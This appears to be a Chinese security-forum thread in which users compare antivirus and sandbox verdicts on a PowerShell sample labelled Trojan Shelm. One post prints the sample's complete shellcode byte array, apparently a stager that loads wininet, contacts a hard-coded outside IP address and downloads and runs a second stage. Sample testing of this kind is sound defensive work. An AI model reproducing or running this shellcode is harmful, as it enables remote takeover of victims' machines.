Shelm

anxiety520

.ps1
Opentip:

1. Dynamic analysis detects
   
2. Status        Name
   
3. Malware
   
4. Trojan.Win64.Shelm.sb
   
5. Malware
   
6. Trojan.Win32.Shelm.c
   
7. Malware
   
8. Trojan.Win32.Shelm.a

复制代码

aikafans

eset、360、avast
miss

xjwtzq

virustota一片绿油油

wdyaoyao

卡巴扫描miss  ksn中显示不受信任

不知是什么病毒，不敢实体机双击！

swizzer

BEST missed.

117054487

best云沙盒

呼啸山庄

sophos intelix CLEAN https://intelix.sophos.com/repor ... b34612/dynamic/file
hybrid-analysis CLEAN https://www.hybrid-analysis.com/ ... 458be71abacd54bec33
微步云沙箱 安全 https://s.threatbook.com/report/ ... 458be71abacd54bec33
安恒云沙箱 高危 https://sandbox.dbappsecurity.co ... 4-a312-aef0e155de86

biue

ANY.LNK

一个powershell的十六进制字节组

1. [Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x41,0x58,0x5e,0x48,0x1,0xd0,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xe,0x0,0x0,0x0,0x31,0x39,0x33,0x2e,0x33,0x37,0x2e,0x32,0x35,0x34,0x2e,0x32,0x37,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xe,0x81,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xe5,0x0,0x0,0x0,0x2f,0x5f,0x6f,0x71,0x44,0x73,0x6e,0x65,0x4a,0x67,0x70,0x58,0x66,0x7a,0x39,0x37,0x4e,0x75,0x2d,0x70,0x76,0x4f,0x51,0x71,0x56,0x6f,0x41,0x64,0x36,0x31,0x5f,0x49,0x37,0x69,0x78,0x5a,0x45,0x73,0x59,0x6d,0x64,0x6c,0x36,0x4b,0x6b,0x7a,0x79,0x66,0x65,0x47,0x70,0x66,0x63,0x57,0x35,0x67,0x37,0x53,0x57,0x65,0x4c,0x58,0x69,0x32,0x4e,0x2d,0x61,0x59,0x78,0x4c,0x6d,0x57,0x6b,0x35,0x50,0x68,0x78,0x64,0x70,0x52,0x35,0x45,0x32,0x44,0x32,0x6a,0x53,0x76,0x6a,0x75,0x66,0x46,0x45,0x6c,0x50,0x4b,0x76,0x51,0x51,0x31,0x38,0x72,0x36,0x56,0x59,0x6d,0x31,0x30,0x4f,0x64,0x6f,0x53,0x42,0x54,0x32,0x45,0x65,0x39,0x71,0x79,0x63,0x36,0x48,0x6c,0x45,0x53,0x63,0x61,0x5f,0x58,0x75,0x77,0x56,0x4e,0x64,0x75,0x6f,0x39,0x69,0x64,0x2d,0x54,0x61,0x39,0x75,0x30,0x72,0x56,0x42,0x77,0x63,0x6a,0x36,0x52,0x49,0x50,0x56,0x4e,0x38,0x51,0x64,0x75,0x61,0x4d,0x65,0x76,0x6e,0x52,0x61,0x43,0x44,0x35,0x58,0x36,0x58,0x69,0x6b,0x65,0x49,0x4b,0x46,0x33,0x53,0x79,0x44,0x4e,0x44,0x65,0x69,0x62,0x63,0x47,0x39,0x31,0x71,0x46,0x34,0x34,0x37,0x50,0x46,0x47,0x43,0x43,0x44,0x73,0x45,0x4e,0x34,0x57,0x68,0x6b,0x6f,0x6f,0x30,0x45,0x49,0x59,0x44,0x77,0x30,0x34,0x31,0x77,0x68,0x6b,0x57,0x47,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

复制代码

感觉像是段shellcode，需要有东西加载，不能直接用powershell运行

hhhq316

EMSI 蜘蛛扫描miss